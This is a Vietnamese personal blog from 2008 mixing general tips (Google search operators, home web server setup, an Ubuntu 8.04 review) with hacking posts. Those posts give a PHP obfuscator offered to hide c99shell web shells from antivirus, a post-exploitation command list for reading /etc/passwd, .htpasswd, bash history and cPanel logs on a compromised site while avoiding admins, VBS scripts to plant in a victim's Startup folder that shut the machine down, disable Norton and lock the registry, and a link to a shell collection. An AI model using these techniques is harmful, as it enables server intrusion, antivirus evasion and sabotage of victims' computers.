Iatebes’s Weblog

My Stock

Lấy avatar của 1 tài khoản Y!M Tháng Tư 18, 2008

Chuyên mục: Thủ Thuật — iatebes @ 3:02 sáng

Avatar là hình ảnh nhỏ đi kèm theo mà mỗi tài khoản Yahoo sử dụng để đại diện cho mình. Nếu 1 người sử dụng avatar, bạn có thể nhìn thấy avatar trên danh sách bạn bè của mình ở Yahoo Messenger. Trong trường hợp bạn muốn lấy 1 hình ảnh tương tự bạn mình để làm avatar, thì ngoài cách xin hình ảnh đó, bạn có thể truy cập vào http://img.msg.yahoo.com/avatar.php?yids=…. với dấu … là tên ID bạn muốn lấy avatar. Chẳng hạn, bạn muốn lấy avatar của nick 12345 thì bạn sẽ sử lại link trên thành http://img.msg.yahoo.com/avatar.php?yids=12345, lập tức hình ảnh avatar của nick 12345 đang sử dụng sẽ được hiện ra. Việc bây giờ  của bạn chỉ là save hình ảnh đó lại và sử dụng làm avatar cho chính mình.

 

Cho ai thích sưu tầm shell :D Tháng Tư 6, 2008

Chuyên mục: Bảo mật - thâm nhập — iatebes @ 12:18 sáng

Bộ sưu tầm đủ loại shell http://ic3drag0n.c4.to/

 

Những thủ thuật tìm kiếm với Google ! Tháng Tư 6, 2008

Chuyên mục: Thủ Thuật — iatebes @ 12:05 sáng

Chúng ta dùng từ khoá riêng của google (gần giống mấy cái hàm trong lập trình hay bảng tính excel vậy) để tìm tài liệu.

1-[intitle:]
Cú pháp intitle:giá trị cần tìm
khi dùng từ khoá này Google sẻ tìm tất cả các trang có tiêu đề chứa “giá trị cần tìm” mà chúng ta muốn tìm.
Ví dụ bạn hãy rõ vào ô tìm kiếm của Google intitle:login Google sẽ tìm các trang có từ login trong tiêu đề. Còn nếu bạn nhập vào ô tìm kiếm intitle:login password thì Google sẻ tìm tất cả những trang có tiêu đề là login và từ password nằm trong trang đó.
Bạn hãy thử lại một lần nữa rõ vào ô tìm kiếm của Google là intitle:”Đăng nhập” “Mật khẩu”

2-[site:]
Đôi lúc khi tìm thông tin. Bạn chỉ chú ý tin từ một trang web nào đó thôi. Không cần chú ý đến các trang khác. Thì phải làm thế nào giửa biển thông tin Internet. Những lúc như thế nào từ khoá site sẽ giúp bạn.
Cú pháp thông tin cần tim site:website cần tìm tin
Ví dụ: bạn rõ vào ô tìm kiếm LRC site:ctu.edu.vn nhớ là không rõ www.ctu.edu.vn nhe. Khi đó bạn sẽ tìm đưọc LRC trong trang Ctu.
Hoặc rõ vào “DangTrungHieu” site:ctu.edu.vn rồi nhấn tìm xem.
Nhớ là giữa từ site và địa chỉ ngắn của trang web không có khỏan trắng.

3-[inurl:]Từ khoá này sẽ giúp bạn tìm những địa chỉ URL(đường dẫn) có từ bạn cần tìm.
Cú pháp inurl:từcầntìm. Ví dụ Tui muốn tìm những đường dẫn nào mà có từ “dangtrunghieu” trong nó thì tôi rõ inurl:dangtrunghieu vào ô tìm kiếm. Google sẽ liệt kê cho tôi những trang có từ dangtrunghieu trong đường link của nó.
Rõ thữ inurl:pgv site:ctu.edu.vn thử xem.
Còn nếu bạn muốn tìm nhiều hơn một từ thì dùng từ khoá allinurl: thay cho inur:l

4-[filetype:]
Có những lúc muốn tìm e-book hoặc là những trang html hay những tài liệu có đuôi .doc thì làm sao. Từ khoá filetype: cũng sẽ giúp bạn.
Cú pháp filetype:phầnmởrộngcủatàiliệu. Từ khóa này cần kết hợp với từ khóa site: thì mới làm việc hiệu quả được.
Ví dụ bạn rõ vào ô tìm kiếm filetype:doc site:ctu.edu.vn tvà tìm. Lúc đó Google sẽ tìm những tài liệu word trên Ctu mình.

Tương tự như vậy bạn hãy rõ vào filetype:pdf site:org “Toán học” thử xem có tìm được gì không Razz

5-[related:]
Trong lúc tìm kiếm. Có lúc mình tìm một trang nào đó hoài nhưng không gặp. Thì chúng ta có thể không cần tìm nó nữa. Mà tìm anh em của nó. Tức là những trang có nội dung tương tự như thế. Từ khoá related: sẽ giúp bạn.
Cú pháp related:têntrangwebmuốntìmnộidungliênquan
Ví dụ: rõ related:www.php.net vào ô tìm kiếm của Google.

6-[link:]
Bạn đã xây dựng môt website cho riêng mình. Nhưng bạn không biết có ai đặt liên kết trang site của họ đến trang mình hay không. Từ khóa link sẽ giúp bạn
Cú pháp link:tên_website_cân_tìm
Ví dụ link:www.ctu.edu.vn Google sẽ giúp bạn tìm những web nào có đặt link của Ctu trên nó.

7-[cache:]Đôi lúc khi tìm thông tin bạn nhận thấy rằng có những website từ lâu nó đã không còn tồn tại trên mạng nữa rồi. Học nó đã thay đổi đường dẫn đi đâu rồi. Làm cho bạn tìm gặp nó trên Google nhưng mà không vào trang chính của nó được. Có lẽ là để đảm bảo mọi người tin vào mình, nên Google khi tìm thấy một trang nào mới nó đã tự động copy một bản sao rồi. Mặc dầu trang đó không còn tồn tại nhưng bạn có thể xem đưọc nó một phần. Từ khoá cache sẽ giúp bạn vào ngay trang mà Google đã copy.
Cú pháp cache:địa_chi_web_cần_xem_bản_sao
ví dụ cache:www.ctu.edu.vn bạn sẽ thấy được bản sao mà Google đã copy trang chủ của trường ta.
Còn bạn muốn tìm từ nào đó trong bản copy của Google thì bạn thêm từ cần tìm vào phía sau của dòng lệnh trên.
Ví dụ cache:www.ctu.edu.vn học lúc đó Google sẽ tô vàng chữ học trong trang chủ ctu và tô vàng nó luôn.
Nếu chưa tin lắm thì làm thêm ví dụ này nhe:
cache: cache:http://forum.ctu.edu.vn/profile.php?mode=viewprofile&u=254& dangtrunghieu

8-[intext:]
Với từ khóa này Google sẽ chú ý đến từ chúng ta tìm thôi. Nó không chú ý đến những thứ khác. Bạn có thể không cần chứ năng này vì có chức năng tương đương của nó là nhập dấu nháy kép vào trước từ cần tìm.
Tuy nhiên đôi khi chúng ta cũng muốn màu mè chút mà Razz
Cú pháp intext:tư_cần_tìm
Ví dụ intext:điểm site:ctu.edu.vn hoặc intext:”thời khóa biểu” site:ctu.edu.vn

9-[index of/]

Chắc đã có nhiều lần bà con lướt web gặp những trang mà cho chúng ta duyệt theo thư mục .Gặp những trang hay, chứa rất nhiều tài nguyên trong đó. Nếu chúng ta quên ghi địa chỉ của nó lại thì khi chúng ta cần tìm lại chúng ta phải làm sao. Google sẽ giúp bà con.
Cú pháp index of/loai_tai_liêu_cân_tìm
Ví dụ index of/files.
Bà con nhớ có khoản trống giữa indexof nhen Surprised

 

Zend php dùng base64 Tháng Tư 2, 2008

Chuyên mục: Bảo mật - thâm nhập — iatebes @ 5:42 chiều

Base64 đơn giản mà, code của bạn quá dài, thực ra chỉ cần 4 dòng. Bạn có thể mã hóa file config database:

Trích:
<?php
$str = ‘Copy nội dung file cần mã hóa vào (ví dụ nội dung file config.php)’;
echo base64_encode($str);
?>

Save thành encode.php. Run nó và copy phần nó xuất ra, copy và paste lại vào nội dung file config.php tuy nhiên phải thêm một chút để hệ thống hiểu được:

Trích:
<?php
$str = ‘Copy nội dung file đã mã hóa trên vào’;
echo base64_decode($str);
?>

Okies, mấy chú gà tây mà nhìn vào là nản, nhưng ai đọc xong rồi thì lại quá đơn giản Base64 không an toàn đâu.

 

Tháng Tư 2, 2008

Chuyên mục: Bảo mật - thâm nhập — iatebes @ 5:40 chiều

copy đoạn code này vào 1 File php, Up lên Host & run –> rất tiện để Encode cho các File php vd: mã hóa File config.php hay mã hóa con c99shell để ko bị antivirus phát hiện .v..v..

Code:
<? // PHP OBFUSCATOR // (C)2003 Richard Fairthorne -- http://richard.fairthorne.is-a-geek.com // -------------------------- // Permission is granted to disctibute this file UNMODIFIED from its original // form. All other rights are reserved. function splitByNewline($string, $length) { while (strlen($string)>0) { $newstring.=substr($string, 0, $length) . "\n"; $string=substr($string, $length); } return $newstring; } echo "<big><b>Free Code Obfuscator (PHP, PERL)</b></big><br>By <a href='http://richard.fairthorne.is-a-geek.com'>Richard Fairthorne</a><hr>"; $b64_input=stripslashes($b64_input); switch($b64_action) { case "perl_encode": $output=$b64_input; $output=base64_encode($output); $output=splitByNewline($output,40); $output="#!/usr/bin/perl\nuse MIME::Base64;\neval(decode_base64('\n$output'));"; $ilength=strlen($b64_input); $olength=strlen($output); ?> <table border=0 width=100%><tr><td valign=top> <textarea rows=18 cols=60 name=done><?=$output;?></textarea> </td><td valign=top> <b>PERL code obfuscated!</b><br><br> Your PERL code has been obfuscated. <br><br> <font color=maroon> Obfuscation-Strength: Normal (Fast code execution)<br> Compatibility: 100% Code compatibility<br> Input Length: <?=$ilength;?><br> Output Length: <b><?=$olength;?></b><br> </font> <br> To use the code, simply cut and paste it in place of the old code. You may need to update the perl path. It is important to understand that code obfuscation can act as a deterrant, but is not a replacement for encryption.<br><br> <a href='?'>Click here</a> to obfuscate another page. </td></tr></table> <? break; case "php_encode": $output=$b64_input; $output=gzdeflate("?>".$output."<?",9); $output=base64_encode($output); $output=splitByNewline($output,40); $output="<? eval(gzinflate(base64_decode('\n$output'))); ?>"; $ilength=strlen($b64_input); $olength=strlen($output); ?> <table border=0 width=100%><tr><td valign=top> <textarea rows=18 cols=60 name=done><?=$output;?></textarea> </td><td valign=top> <b>PHP code obfuscated!</b><br><br> Your PHP code has been obfuscated. <br><br> <font color=maroon> Obfuscation-Strength: Normal (Fast code execution)<br> Compatibility: Zlib Required. 100% Code compatibility<br> Input Length: <?=$ilength;?><br> Output Length: <b><?=$olength;?></b><br> </font> <br> To use the code, simply cut and paste it in place of the old code. It is important to understand that code obfuscation can act as a deterrant, but is not a replacement for encryption.<br><br> <a href='?'>Click here</a> to obfuscate another page. </td></tr></table> <? break; case "php_encode_hi": $output=$b64_input; for ($b64_counter=0; $b64_counter<10; $b64_counter++) { $output=gzdeflate("?>".$output."<?",9); $output=base64_encode($output); $output="<? eval(gzinflate(base64_decode('$output'))); ?>"; } $output=gzdeflate("?>".$output."<?",9); $output=base64_encode($output); $output="<? eval(gzinflate(base64_decode('\n$output'))); ?>"; $ilength=strlen($b64_input); $olength=strlen($output); ?> <table border=0 width=100%><tr><td valign=top> <textarea rows=18 cols=60 name=done><?=$output;?></textarea> </td><td valign=top> <b>PHP code obfuscated!</b><br><br> Your PHP code has been obfuscated. <br><br> <font color=maroon> Obfuscation-Strength: Trecherous (Best Protection)<br> Compatibility: Zlib Required. 100% Code Compatibility.<br> Input Length: <?=$ilength;?><br> Output Length: <b><?=$olength;?></b><br> </font> <br> To use the code, simply cut and paste it in place of the old code. It is important to understand that code obfuscation can act as a deterrant, but is not a replacement for encryption.<br><br> <a href='?'>Click here</a> to obfuscate another page. </td></tr></table> <? break; // case "decode": // $output=htmlentities(base64_decode($b64_input),ENT_QUOTES); // break; default: ?> <table border=0 width=100%><tr><td valign=top> <form method=post> <textarea name=b64_input cols=60 rows=16></textarea><br> <SELECT name=b64_action> <OPTION value='php_encode'>PHP - Normal Strength - Compressed</OPTION> <OPTION value='php_encode_hi'>PHP - Trecherous Strength - Compressed</OPTION> <OPTION value='perl_encode'>PERL - Normal Strength</OPTION> </SELECT> <input type=submit name=submit value='obfuscate'> <!-- <input type=submit name=b64_action value=decode> --> </form> </td><td valign=top> <b>Free Code obfuscator</b><br><br> If you would like a quick way to hide your php code from prying eyes, try this PHP code obfuscator.<br><br>Copy an entire PHP page, into the obfuscator, and it will return a code that also works on any PHP server, but is not human readable.<br><br> With code 5k or bigger, you may notice that the obfuscated code is smaller than the original code. You can thank me later. </td></tr></table> <? break; } ?>

Credit : vnhack

——————————————–

Còn đây là code dùng decode, post lun cho nó trọn gói ^^

Code:
<? // REDPHOENIX89 error_reporting(FALSE); if (!$_POST['submit']) { echo "<form method=post>CODED By <b>REDPHOENIX89</b><br>Nhập đoạn code dạng <b>eval(gzinflate(base64_decode(...)))</b> vào đây : ( không có <b>&lt;? ?&gt;</b> ) <br><textarea name=code cols=80 rows=20></textarea><br><input type=submit name=submit value='DECODE'>"; exit(); } $code = stripslashes($code); decode($code); function decode($code) { $code = trim($code,' ?><? '); $code = trim($code,' ?><?php '); if (ereg("^eval\(gzinflate\(base64_decode\((.*)\)\)\);",$code)) { ob_start(); $code = str_replace('eval','echo',$code); eval($code); $s = ob_get_contents(); ob_end_clean(); decode($s); } else echo "<textarea name=code cols=80 rows=20>$code</textarea><br>Cám ơn bạn đã sử dụng CT này.<br><b>RedPhoenix89</b>"; } ?>

Credit: REDPHOENIX89

 

Vài lệnh khi dùng shell Tháng Tư 2, 2008

Chuyên mục: Bảo mật - thâm nhập — iatebes @ 5:12 chiều

 Shell thì anh em share nhiều rồi , nhưng mà bọn em newbie mô có biết dùng
Sưu tầm được vài câu lệnh xin chia sẻ cùng anh em :
find / -type f -perm -04000 -ls : tìm tất cả suid file
find / -type f -perm -02000 -ls : tìm tất cả sgid files
find / -type f -name : tìm config.inc.php
find / -type f -name \”config*\ : tìm file config
find / -perm -2 -ls”), tìm file,folders cho phép ghi
find / -type f -name service.pwd :find all service.pwd files
find / -type f -name .htpasswd :find all .htpasswd files
find / -type f -name .bash_history,: find all .bash_history files
———————————————————
netstat -an | grep -i listen :show opened ports
netstat -an :show opened ports
————————————————
cat /etc/passwd :list user
cat / etc/userdomains :View cpanel user-domains logs
cat /var/cpanel/accounting.log: View cpanel logs
cat /usr/local/apache/conf/httpd.conf : Aache configuration
cat /etc/httpd.conf :Apache configuration
cat /etc/syslog.conf :Syslog configuration
cat /etc/motd :Message Of The Day

cat /etc/httpd/conf/httpd.conf|grep ServerName
cat /etc/httpd/conf/httpd.conf
cat /etc/localdomains
cat /etc/trueuserdomains

ls -lia [đường dẫn] : để view thư mục .
VD : ls -lia /usr/www/vhost/abc.com/public_html/forum

cat /etc/passwd : để đọc file passwd

Nếu server dùng cpanel thì :
cat /var/cpanel/accounting.log : để xem các domain trên server

———————————————————————–

Giả sử ta đang hack 1 trang web , sau khi include đc 1 con shell vào website ta có 1 shell lệnh để làm việc với Linux .
okie
Vậy đầu tiên ta sẽ phải làm gì , thực hiện những lệnh gì trên con shell của ta để lấy đc thông tin cần thiết , cũng như đảm bảo sự truy cập lâu dài của ta vào sv đó (tức là việc giữ shell) . Ta biết rằng càng rút ngắn đc time thì ta càng làm đc nhiều việc trên sv cũng như tránh đc sự phát hiện của ng quản lý nhất . Chúng ta sẽ bàn về những kinh nghiệm sau khi có đc shell trên 1 sv . okie .

Tôi xin mở đầu trước . Sau khi Include đc 1 con shell vào site , Safe-mod = Off , ta dùng những lệnh gì .

+Tìm ngay thư mục có quyền ghi để Upload 1 con shell “xịn” lên sv bởi vì con shell included của ta đôi khi làm việc ko ổn định. Trên dòng command line tôi gõ :

Quote:
find /home/victim/public_html/ -type d -perm -2 -ls

tìm kiếm những thư mục & thư mục con có quyền writeable tính từ /home/victim/public_html/

Quote:
find /home/victim/public_html/ -type d -perm -2 -ls

- tìm kiếm những file ta có thể ghi đè lên tính từ /home/victim/public_html/

Ok, và lúc này Linux sẽ tự động tìm kiếm cho ta các thư mục & file có thể “chơi” đc … roài ta tiến hành Upload shell
+Tiếp theo , ta lấy thêm thông tin của sv để dùng khi cần đến , các lệnh ko thể ko biết đó là :

Quote:
cat /etc/passwd : xem File passwd

cat /etc/domains : xem các domains trên sv
ls -la /etc/valiases –>Hãy kiểm tra các sites trên cùng server này

nếu sv sử dụng cPanelX thì còn đợi gì mà ko

Quote:
cat /var/cpanel/accounting.log

để xem các account trên sv , nó sẽ phơi bày hết domain name & username của từng account , từ đó ta có thể dễ dàng lần ra nó ở đâu (đỡ phải mất công mò mẫm)
bạn muốn tìm user có domain là victim.com thì dùng lệnh sau:

Quote:
cat /var/cpanel/accounting.log | grep “victim.com”

oke, biết vận dụng các lệnh linux là đc

Lấy mấy thông tin về sv khi cần
về apache:

Quote:
whereis apache
cat /usr/local/apache/conf/httpd.conf

về log
whereis log

Quote:

cat /etc/syslog.conf

cat /etc/hostsem IP & domain name của server chính

 

Vài trò đùa với các Victim Tháng Tư 2, 2008

Chuyên mục: Bảo mật - thâm nhập — iatebes @ 5:09 chiều

Khi các bạn đột nhập được vào máy người khác, tại sao không đùa với họ một tí nhỉ ?
Sau đây là một vài trò chơi do tôi nghĩ ra, bằng cách đặt một file (*.vbs) nằm trong thư mục Startup chứa một trong những đoạn script sau:

1.Trò chơi thứ nhất: không cho victim khởi động máy:

Dim wsh
Set wsh = createobject(“wscript.shell”)
wsh.run “RUNDLL32.EXE user.exe,exitwindows”

2.Trò chơi thứ hai: disable NAV( nếu có install) của họ:
Dim wsh
Set wsh= CreateObject( “WScript.Shell”)
s1 = “HKEY_LOCAL_MACHINE\System\CurrentControlSet\Servi ces\Norton Program
Scheduler\Start”
wsh.RegWrite s1,3, “REG_DWORD”

3.Trò chơi thứ ba: hiển thị môt meesage mỗi khi họ reboot máy:
dim wsh
Set wsh = CreateObject( “WScript.Shell” )
s1 = “HKLM\Software\Microsoft\Windows\CurrentVersion\Wi nLogon\”
s2 = “LegalNoticeCaption”
s3 = “LegalNoticeText”
wsh.RegWrite s1+s2, “Hackervn.org”
wsh.RegWrite s1+s3, “Robinhood invite you to join hackervn.org”

4.Trò chơi 4: hiển thị một dòng lệnh mỗi khi họ click vào một file hay folder:
set reg=createobject(“WScript.shell”)
reg.regwrite “HKEY_CLASSES_ROOT\*\Shell\Hello I am Robinhood-come from hackervn.org\”,”"
reg.regwrite “HKEY_CLASSES_ROOT\folder\shell\Hello I am Robinhood-come from hackervn.org\”,”Robinhood”

5.Trò chơi 5: trò chơi này đảm bảo cho các trò chơi trên có thể diễn ra “vui vẻ”: disable Registry của victim:
Dim objShell
Set objShell = CreateObject( “WScript.Shell” )
s1 = “HKEY_USERS\.Default\Software\Microsoft\Windows\Cu rrentVersion\”
s2 = “Policies\System\DisableRegistryTools”
objShell.RegWrite s1+s2,1, “REG_DWORD”
Trên đây là 5 trò chơi “khá vui”, thật ra còn nhiểu trò chơi khác nũa nhưng “nguy hiểm” cho victim nên thôi.

 

Tạo webserver tại nhà Tháng Tư 2, 2008

Chuyên mục: Mạng (Network) — iatebes @ 2:03 chiều

Đầu tiên sử dụng bộ cài đặt tổng hợp gồm :
Đây là phiên bản cài đặt trọn bộ Localhost (16mb)
http://umn.dl.sourceforge.net/source…in32-2.4.5.exe (Hiện tại đã có bản mới, các bạn có thể tìm thấy trên google)
Sau khi cài đặt các bạn sẽ có đầy đủ

# Apache Web Server Version 1.3.34
# PHP Script Language Version 4.4.1
# MySQL Database Version 5.0.16
# phpMyAdmin Database Manager Version 2.5.7-pl1

Truy cập phpMyadmin tại http://localhost/phpMyAdmin/

Path run code C:\AppServ\www

Sau đó là Dynamic DNS

* Dịch vụ Dynamic DNS của homeip.net (nên dùng home-ip.net vì có tính ổn định và security cao)

Đầu tiên bạn vào trang chủ của homeip.net , đăng kí lấy cho mình 1 account để được sử dụng dịch vụ Dynamic DNS ( Free) http://dyndns.org

1. Sau khi bạn đăng kí xong sẽ nhận được 1 email thông báo về thông tin của account.
2. Bạn đăng nhập với tên user và pass mà bạn đã đăng kí:
3. Sau đó bạn ở phần My Account —–>> My Services
Trong phần này bạn chọn Add Host Services nằm ở góc dưới cùng bên phải:
Trong phần Add Host Services có các dịch vụ sau:
Bạn chọn Add Dynamic DNS Host, có giao diện như hình sau:
Hostname: bạn điền tên subdomain mà bạn muốn create, bên cạnh đó còn có những list domain được homeip.net cung cấp free và có phí
Các thông còn lại các bạn cứ giữ nguyên, và đánh dấu check vào ô Enable Wildcard.
Sau đó nhấn nút Add Host để hoàn tất qúa trình.
Sau khi bạn đã cấu hình xong, bạn vào phần Support nằm ở phía trên
Bạn sẽ thấy ngay Client Support, bạn chọn Download Update Clients và sau đó download về DynDNS Updater (1.12MB), chương trình này cũng có chức năng tương tự như NO-IP DUC.

1. Sau khi bạn Setup xong DynDNS Updater, sẽ có biểu tưởng của chương trình nằm ở Taskbar. Bạn double click vào icon chương trình:

Sau đó bạn Settings à Groups à Đến đây bạn chọn Add, sau đó điền tên group vào (đặt sao tuỳ bạn, vd: server). Bước kế tiếp, bạn đánh Username và Password của tài khoản mà bạn đã đăng kí ở homeip.net, sau đó lại chọn Add tiếp, và đánh tên domain mà bạn đã tạo ở homeip.net (VD: tôi đã tạo cái: hieupc.homeip.net)

Cuối cùng bạn: click nút download và check vào hieupc.homeip.net. Sau đó click OK.

Settings à Connections : bạn chọn Local Area Network
Settings à Ip Address : chọn Use default setting và bạn click Detect My IP, những phần còn lại các bạn giữ nguyên hoặc edit lại theo ý muốn. Sau đó click Okie.
Khi ra khỏi Settings, bạn vào Options ở giao diện chính : chọn Start with Windows và Enabled Automatic Update. (Để update IP cho bạn)
Sau đó bạn click OK. Finish.
Chú ý: bạn thấy icon màu xanh lá thì tốt hoặc icon màu vàng, màu đỏ thì bạn nên kiểm tra. Phải luôn kiểm tra chương trình có chạy ở Taskbar.

Sau khi những việc trên hoàn tất bạn cần phải config cho modem để mở cổng 80 hoặc 8080 (tuỳ từng loại modem mà bạn config theo các cách khác nhau – có hướng dẫn ở trên)

Sau khi config modem xong bạn vào thử http://tenban.homeip.com

nếu nó trỏ thẳng đến quyền truy nhập modem của bạn nghĩa là bạn đã thành công đến 90% rồi đấy

bây giờ bạn vào :\WINDOWS\system32\drivers\etc\ mở file host bằng notepad (Cách này đơn giản hơn và nhanh hơn. Vì lẽ đầu tiên Windows sẽ tìm trong tệp tin host này xem có thông tin về IP của một tên miền trỏ đến khi mà từ trình duyệt gõ một URL. (Bước tìm thứ 2 là tìm ở DNS Server mà IP của DNS Server này “đc lưu” ở Network Connection. )

file đó như sau:

# Copyright (c) 1993-1999 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a ‘#’ symbol.
#
# For example:
#
# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host

127.0.0.1 localhost

lúc này bạn vào Start —> Run gõ cmd

Hộp thoại hiện ra bạn gõ”ipconfig” mục đích là lấy cái IP Address của máy mình nó có dạng 192.168……

bạn điền xuống dưới file kia

ví dụ IP của bạn là: 192.168.1.100 và domain của bạn vừa reg ở dyndns là: doanminhluan.homeip.com

thì

# Copyright (c) 1993-1999 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a ‘#’ symbol.
#
# For example:
#
# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host

127.0.0.1 localhost

203.168.1.38 vipol.homeip.com

203.168.1.38 http://vipol.homeip.com

Bạn save nó vào nhé rồi run thử xem

Và bây giờ bạn thử xem nào Okie rồi nhé!

Nếu chỉ muốn cài IIS ko thì bạn cài IIS như bình thường rồi config modem và làm các bước như trên. Nhớ phải tắt firewall của WIN và modem đi nhé.

 

Ubuntu 8.04 beta : đủ ổn định để dùng thử Tháng Tư 1, 2008

Chuyên mục: Linux - UNIX — iatebes @ 2:45 chiều
Bản 8.04 beta của Hệ điều hành Ubuntu Linux vừa được hoàn thành, với tên gọi “Hardy Heron”. Theo kế hoạch, thì đây là một phiên bản được hỗ trợ dài hạn, điều này cũng nói lên rằng phiên bản 8.04 được đầu tư rất nhiều công sức để phát triển.

Ubuntu là hệ điều hành Linux nổi tiếng dành cho các máy để bàn, giao diện của Ubuntu là khá chuẩn trong các phiên bản gần đây. Màn hình giao diện của bản 8.04 vẫn là màu nâu cam quen thuộc. Tuy nhiên, với kernel mới và phiên bản mới của giao diện GNOME, các cửa sổ và các lớp đồ họa hoạt động mượt mà hơn rất nhiều, việc truy xuất ổ đĩa nhanh hơn, thời gian khởi động máy và các chương trình ứng dụng cũng giảm đáng kể.

Cài đặt

Bản thân việc cài đặt Hardy Heron cũng là một sự thay đổi lớn. Trong phiên bản này cho phép người dùng chọn một cách cài đặt rất mới, gọi là Wubi. Wubi sẽ chạy như là ứng dụng Windows và cài đặt toàn bộ hệ thống Ubuntu vào thành 1 file nằm trên đĩa dữ liệu theo chuẩn Windows. Người dùng không cần phải chia lại ổ đĩa và tất nhiên khả năng đánh mất dữ liệu từ việc này cũng sẽ không còn. Khi khởi động vào Ubuntu, hệ thống đọc và ghi file nói trên như là một ổ đĩa độc lập. Sau này, nếu bạn thấy mình không hợp với Linux, bạn có thể dễ dàng gỡ bỏ Hardy Heron giống như gỡ bỏ 1 ứng dụng Windows vậy.

Bộ ứng dụng đi kèm cũng được nâng cấp lên phiên bản mới. Đáng chú ý như là trình duyệt mặc định cuả Ubuntu 8.04 là Firefox 3.0 beta, trình ghi đĩa Brasero CD/DVD burning. Tóm lại, Bản Ubuntu mới tiếp tục hành trình của mình là đáp ứng hầu hết các nhu cầu của người dùng. Đồng thời không để người dùng phải lựa chọn trong số nhiều ứng dụng tương tự nhau nhưng phục vụ cùng một mục đích giống như các bản Linux khác.

Những tính năng khác

Ngoài những tính năng dành cho người dùng còn có những tính năng dành cho các nhà quản trị hệ thống. Độ bảo mật tăng, bao gồm việc bảo vệ bộ nhớ tốt hơn và một bộ công cụ quản lý quyền hạn tên là PolicyKit. Đồng thời, với gói phần mềm Likewise Open, Ubuntu 8.04 dễ dàng tích hợp với Active Directory (một dịch vụ của Microsoft dùng để quản trị hệ thống mạng của trên các máy cài Windows).

Mặc dù hiện tại bản Hardy Heron làm việc khá tốt, tuy nhiên nó vẫn đang được tiếp tục hoàn thiện. Một trong những vấn đề còn tồn tại là nhu cầu của một PulseAudio sound layer mới, để tương thích tốt hơn với các ứng dụng audio trên Linux.

Tuy chỉ đang định hình, nhưng rõ ràng Ubuntu 8.04 là 1 lựa chọn rất tốt cho người dùng. Đặc biệt, kiểu cài đặt Wubi là lý tưởng cho những ai đang còn ngần ngại nhưng có ý định muốn thử dùng Linux. Bản final của Ubuntu 8.04 dự kiến sẽ được hoàn thành vào tháng tư năm nay.

Địa chỉ tải về Hardy Haron: http://www.ubuntu.com/testing/hardy/beta